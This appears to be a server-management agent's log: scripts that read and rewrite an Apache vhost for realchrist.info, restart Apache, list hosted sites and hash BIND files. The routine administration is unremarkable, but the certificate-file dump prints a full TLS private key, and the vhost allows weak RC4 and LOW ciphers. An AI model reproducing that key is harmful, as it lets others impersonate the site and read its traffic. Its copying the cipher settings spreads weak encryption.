2026-02-07 06:00:18: 

chmod 755 /tmp/pkp824434; /tmp/pkp824434; rm /tmp/pkp824434

2026-02-07 06:00:18: 


dir=/etc/ssl/certs


2026-02-07 06:00:18: 

PUT: /tmp/pkp360072

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/realchrist_www_info.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-02-07 06:00:18: 

chmod 755 /tmp/pkp360072; /tmp/pkp360072; rm /tmp/pkp360072

2026-02-07 06:00:18: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/realchrist_www_info.conf 43

<VirtualHost *:80>
    ServerName	realchrist.info
    ServerAlias	www.realchrist.info
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/realchrist_www
    <Directory /var/www/realchrist_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/realchrist/www_access.log combined
    ErrorLog	/var/log/apache2/realchrist/www_error.log
    SetEnv pkp_uid	41
    SetEnv pkp_owner	carelinks
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	realchrist.info
    ServerAlias	www.realchrist.info
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/8df29f43e5e79f1c31041f6ee4962ae9.crt
    DocumentRoot	/var/www/realchrist_www
    <Directory /var/www/realchrist_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/realchrist/www_secure_access.log combined
    ErrorLog	/var/log/apache2/realchrist/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2026-02-07 06:00:18: 

PUT: /tmp/pkp925773

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=realchrist_www_info.conf
TARGET=/etc/apache2/sites-enabled/realchrist_www_info.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	realchrist.info
    ServerAlias	www.realchrist.info
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/realchrist_www
    <Directory /var/www/realchrist_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/realchrist/www_access.log combined
    ErrorLog	/var/log/apache2/realchrist/www_error.log
    SetEnv pkp_uid	41
    SetEnv pkp_owner	carelinks
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	realchrist.info
    ServerAlias	www.realchrist.info
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/8df29f43e5e79f1c31041f6ee4962ae9.crt
    DocumentRoot	/var/www/realchrist_www
    <Directory /var/www/realchrist_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/realchrist/www_secure_access.log combined
    ErrorLog	/var/log/apache2/realchrist/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/realchrist_www_info.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/realchrist_www_info.conf)= /etc/apache2//etc/apache2/sites-enabled/realchrist_www_info.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/realchrist_www_info.conf= 1'
fi


2026-02-07 06:00:18: 

chmod 755 /tmp/pkp925773; /tmp/pkp925773; rm /tmp/pkp925773

2026-02-07 06:00:18: 




2026-02-07 06:00:18: 

PUT: /tmp/pkp461661

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-02-07 06:00:18: 

chmod 755 /tmp/pkp461661; /tmp/pkp461661; rm /tmp/pkp461661

2026-02-07 06:00:18: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-02-07 06:00:18: Establishing a connection
2026-02-07 06:00:19: 

PUT: /tmp/pkp207815

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-02-07 06:00:19: 

chmod 755 /tmp/pkp207815; /tmp/pkp207815; rm /tmp/pkp207815

2026-02-07 06:00:19: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:2)
         port 80 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:2)
                 alias www.baptizo.info
         port 80 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:2)
                 alias www.bible-basics.info
         port 80 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:2)
                 alias www.biblebasicsonline.com
         port 80 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:2)
                 alias www.carelinks-uk.org
         port 80 namevhost new.carelinks.net (/etc/apache2/sites-enabled/carelinks_new_net.conf:2)
         port 80 namevhost carelinks.org.au (/etc/apache2/sites-enabled/carelinks_www_org-au.conf:2)
         port 80 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:2)
                 alias www.carelinks.org.uk
         port 80 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:2)
                 alias www.carelinksaustralia.info
         port 80 namevhost carelinksoutreach.info (/etc/apache2/sites-enabled/carelinksoutreach_www_info.conf:2)
                 alias www.carelinksoutreach.info
         port 80 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:2)
         port 80 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:2)
                 alias www.christadelphianfraternal.info
         port 80 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:2)
                 alias www.croydonchurch.info
         port 80 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:2)
                 alias www.dalmenynaroomabushwalkers.info
         port 80 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:2)
         port 80 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:2)
                 alias www.freebible.info
         port 80 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:2)
         port 80 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:2)
         port 80 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:2)
                 alias www.maminas.info
         port 80 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:2)
                 alias www.osnowybiblii.info
         port 80 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:2)
         port 80 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:2)
                 alias www.r-b-c.org
         port 80 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:2)
                 alias www.realchrist.info
         port 80 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:2)
                 alias www.vards.info
*:443                  is a NameVirtualHost
         default server mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
         port 443 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
         port 443 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:23)
                 alias www.baptizo.info
         port 443 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:23)
                 alias www.bible-basics.info
         port 443 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:23)
                 alias www.biblebasicsonline.com
         port 443 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:23)
                 alias www.carelinks-uk.org
         port 443 namevhost new.carelinks.net (/etc/apache2/sites-enabled/carelinks_new_net.conf:22)
         port 443 namevhost carelinks.org.au (/etc/apache2/sites-enabled/carelinks_www_org-au.conf:19)
         port 443 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:23)
                 alias www.carelinks.org.uk
         port 443 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:20)
                 alias www.carelinksaustralia.info
         port 443 namevhost carelinksoutreach.info (/etc/apache2/sites-enabled/carelinksoutreach_www_info.conf:23)
                 alias www.carelinksoutreach.info
         port 443 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:23)
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
         port 443 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:23)
                 alias www.christadelphianfraternal.info
         port 443 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:23)
                 alias www.croydonchurch.info
         port 443 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:23)
                 alias www.dalmenynaroomabushwalkers.info
         port 443 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:22)
         port 443 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:23)
                 alias www.freebible.info
         port 443 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:28)
         port 443 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:26)
         port 443 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:23)
                 alias www.maminas.info
         port 443 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:23)
                 alias www.osnowybiblii.info
         port 443 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:22)
         port 443 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:23)
                 alias www.r-b-c.org
         port 443 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:23)
                 alias www.realchrist.info
         port 443 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:23)
                 alias www.vards.info
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-02-07 06:00:19: 

PUT: /tmp/pkp130196

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/realchrist_www_info.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-02-07 06:00:19: 

chmod 755 /tmp/pkp130196; /tmp/pkp130196; rm /tmp/pkp130196

2026-02-07 06:00:19: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/realchrist_www_info.conf	1393

<VirtualHost *:80>
    ServerName	realchrist.info
    ServerAlias	www.realchrist.info
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/realchrist_www
    <Directory /var/www/realchrist_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/realchrist/www_access.log combined
    ErrorLog	/var/log/apache2/realchrist/www_error.log
    SetEnv pkp_uid	41
    SetEnv pkp_owner	carelinks
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	realchrist.info
    ServerAlias	www.realchrist.info
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/8df29f43e5e79f1c31041f6ee4962ae9.crt
    DocumentRoot	/var/www/realchrist_www
    <Directory /var/www/realchrist_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/realchrist/www_secure_access.log combined
    ErrorLog	/var/log/apache2/realchrist/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2026-02-07 06:00:19: 

PUT: /tmp/pkp878381

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/8df29f43e5e79f1c31041f6ee4962ae9.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-02-07 06:00:19: 

chmod 755 /tmp/pkp878381; /tmp/pkp878381; rm /tmp/pkp878381

2026-02-07 06:00:19: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/8df29f43e5e79f1c31041f6ee4962ae9.crt	5386
b1:43:8a:b3:6a:27:21:f6:8b:e9:ff:a2:ba:73:3e:33

-----BEGIN CERTIFICATE-----
MIIFGDCCBACgAwIBAgISBWbFkbTXkbdalOqlxNCTitONMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjYwMjA3MDUwMTQ1WhcNMjYwNTA4MDUwMTQ0WjAaMRgwFgYDVQQD
Ew9yZWFsY2hyaXN0LmluZm8wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIB
AQDEUKtwpKZ4W7rB0XZ+cBiLDVzTrqmZEKoHGXk5/PgqfNgx9GOclbTCW5wCiM1m
CW7QEPm0QY4FMzhcwYT8wMnAJ7mUVpJs+XFhfct4RQLvxlw1vMbUBa/ZnSpH5CpN
KSSYajePcmjkyS0EtfOSdLTFI0nJTyqis+LjPaLlUSdw7mSME8I6zbAcpPE+WEPR
dUJ/rE82EiBKejhqiJziFI1/IoXpwaVo6+p2GkQ8jb0oagr4OtUS0a7oeTPSF9rA
qDnq6At/QBWz9lA/LhIa0Sdk3LEA2x/ZdvxtiYb0hqL93Z1+CF14rN83a8pGFoBN
2wSQ77YyMhd8WXHHGs8F+1yfAgMBAAGjggI9MIICOTAOBgNVHQ8BAf8EBAMCBaAw
HQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQCMAAwHQYD
VR0OBBYEFLPRcmBc1TN6CsxB07mo5bBAjUD0MB8GA1UdIwQYMBaAFAC1KfItjm8x
6JtMrXg++tzpDNHSMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0cDov
L3IxMi5pLmxlbmNyLm9yZy8wLwYDVR0RBCgwJoIPcmVhbGNocmlzdC5pbmZvghN3
d3cucmVhbGNocmlzdC5pbmZvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC4GA1UdHwQn
MCUwI6AhoB+GHWh0dHA6Ly9yMTIuYy5sZW5jci5vcmcvMTQuY3JsMIIBDQYKKwYB
BAHWeQIEAgSB/gSB+wD5AHYAFoMtq/CpJQ8P8DqlRf/Iv8gj0IdL9gQpJ/jnHzMT
9foAAAGcNq/HoQAABAMARzBFAiBLwVyI26odhF1ku9fKjkGMEFXQnEzdg7aA7BgC
LhE3oQIhAOAy133M25T/rXGDZ2B5FuGJ6Hf3/wC1/KWqwRHBGfkqAH8A4yON8o2i
iOCq4Kzw+pDJhfC2v/XSpSewAfwcRFjEtugAAAGcNq/PdAAIAAAFADHI7EgEAwBI
MEYCIQD3WhEr51ujCFPBd73l6EBLxzujnQ7F5HnQI8ZX/TtM+AIhALSkaA/enDfJ
L1wexMnCBLsuDpbXIVYTId0BJmA8Wlc0MA0GCSqGSIb3DQEBCwUAA4IBAQBre6ni
VssFRdkdENveBDLVcYuyELaGs5YLN9SMeh/fZ3/sILa6f3pt5aQafJDUD+tOWqPw
zXTCb5lgXL6tMj+M1d/nc2yzpEEp17fHyt80vk4AlsK+5ZutJ4mHlh2vNHBOMIB1
jb3ezcAfo+I4yaNKfcJhby3qynNzFDCjlHj+kIfq88d099beqWb6V2dmF9Lxr0CW
5ZeGoa+w57CNLPDRGpq1ezn9L+dSJ3pj8hhKJPmgcvc5Mq61uSd6SPTLD8L1a7WD
TwXOYd64u4dvU/cWMCtTuiJkbWV8qehqEeoj+PG6pIpBxO7vbGEteKAWRqxRWq8j
5iMhs28FaXx6Lgje
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDEUKtwpKZ4W7rB
0XZ+cBiLDVzTrqmZEKoHGXk5/PgqfNgx9GOclbTCW5wCiM1mCW7QEPm0QY4FMzhc
wYT8wMnAJ7mUVpJs+XFhfct4RQLvxlw1vMbUBa/ZnSpH5CpNKSSYajePcmjkyS0E
tfOSdLTFI0nJTyqis+LjPaLlUSdw7mSME8I6zbAcpPE+WEPRdUJ/rE82EiBKejhq
iJziFI1/IoXpwaVo6+p2GkQ8jb0oagr4OtUS0a7oeTPSF9rAqDnq6At/QBWz9lA/
LhIa0Sdk3LEA2x/ZdvxtiYb0hqL93Z1+CF14rN83a8pGFoBN2wSQ77YyMhd8WXHH
Gs8F+1yfAgMBAAECggEAKnhRPoNASFV/56JLAjt588smQ91Lb4O9ZN/L7BGgFoD/
vH7kdeGlQ07SR3IVDXgI8xZZDvgHo3RbQyXSgWOrwdhWO5MnBlBIiRDPzesQIZNG
K5H1abT5QBjSJs9jn2HBOv/vmSblLmmfRZ+fXBXHbcaeleB8lspX0VVqQjX2VGW9
DubwIUwCnfyNFETYkqdzX8lBtiMiECyOOartmRXlh9wAjXmI0TskAHs/1W7f5Sii
+tNI5RdnPP59y0gaNSvMVflQdbPA98BhWv5ozPFtbFaU/3xPIxfxCearEg6twxFE
a+dZgfREQMHswW702wgpGhMLwlpYnBsmM9NnADBmoQKBgQD1tnmGS/3kpobolsuY
hBeti4QSac79RcS/1T+djWWtbh17ZVfa2Z6/a/9Kkx3A671mBhcuG7YNWUxtwNHC
1CV+ArDokawNvneAUEO42kIRU39J+BOw2wjbFB2s2FwcKXENtq7fn2JU8R4cCHEE
PEiRaSL3300iUbbub9Lzx/TQeQKBgQDMiMFu9I0PkbjdMlSSUlAAzH6XTmVLnwFo
b9ocHK6cgTqf0JvNLqEt3PFChi3W9/Fvi6XXkMvjozjbafeqsoOlTg7vhZtsCPi+
Ul926XzzgzoPfzQoC0RGFA4NA+c3daWXmAvu21FKFagv0sJeh2yaC030yr/H36JK
ckzAtQa/1wKBgQCpN6ftszwBUiYq3F8OhDoCTMkCHVht2LStIGGVUaGqlOE88AhX
MfRABFJmu3aMPE3Ni3g/StpPyyX1mAtdz9iaNaQ8JsaFGJ0YAy8AiV9iq0xIVs7I
x7ALoIjnVoHo6ylutlcsrol70ipYR//9WL7pVay9ZE2syvXes6hmN1kEkQKBgEjX
e2w0k/gzgY7lWdEyl2NxcLQaK2EfI7U6AId6f4UlUOeRt6r/LE/VG+cBOloQu19q
cImw+6v6eUlLF/Um1lOM1SzgfFWhbFT7qRwEU4e1+HuEZeLNAGekxMxF05agw3SV
pcpPOUgVJmzBto9L05WY6Q6BFoPsVTQGOOd4kQrJAoGBAMWQYWax+D4SRU7JX4wd
O+mj6jbp16UxVqVVA79sAjmT16RK1ofxsr56GhG9BTVVSDks7eAj30nyaZ+IDtx2
bSQriea4/qR8Z1kDOzgwnsS9ftFgAgw41ZPC17HF6h+bymrec6rkMl+h5hKPh1f+
71i/WsMS63yXT0sVRZm0ZxZ+
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----






2026-02-07 06:00:19: Establishing a remote connection
2026-02-08 06:00:01: Establishing a remote connection
2026-02-09 06:00:03: Establishing a remote connection
2026-02-09 12:35:33: Establishing a connection
2026-02-09 12:35:47: Establishing a connection
2026-02-09 12:35:47: 

PUT: /tmp/pkp433658

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-02-09 12:35:48: 

runuser -l bind -s /bin/bash -c '/tmp/pkp433658; rm /tmp/pkp433658'

2026-02-09 12:35:48: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
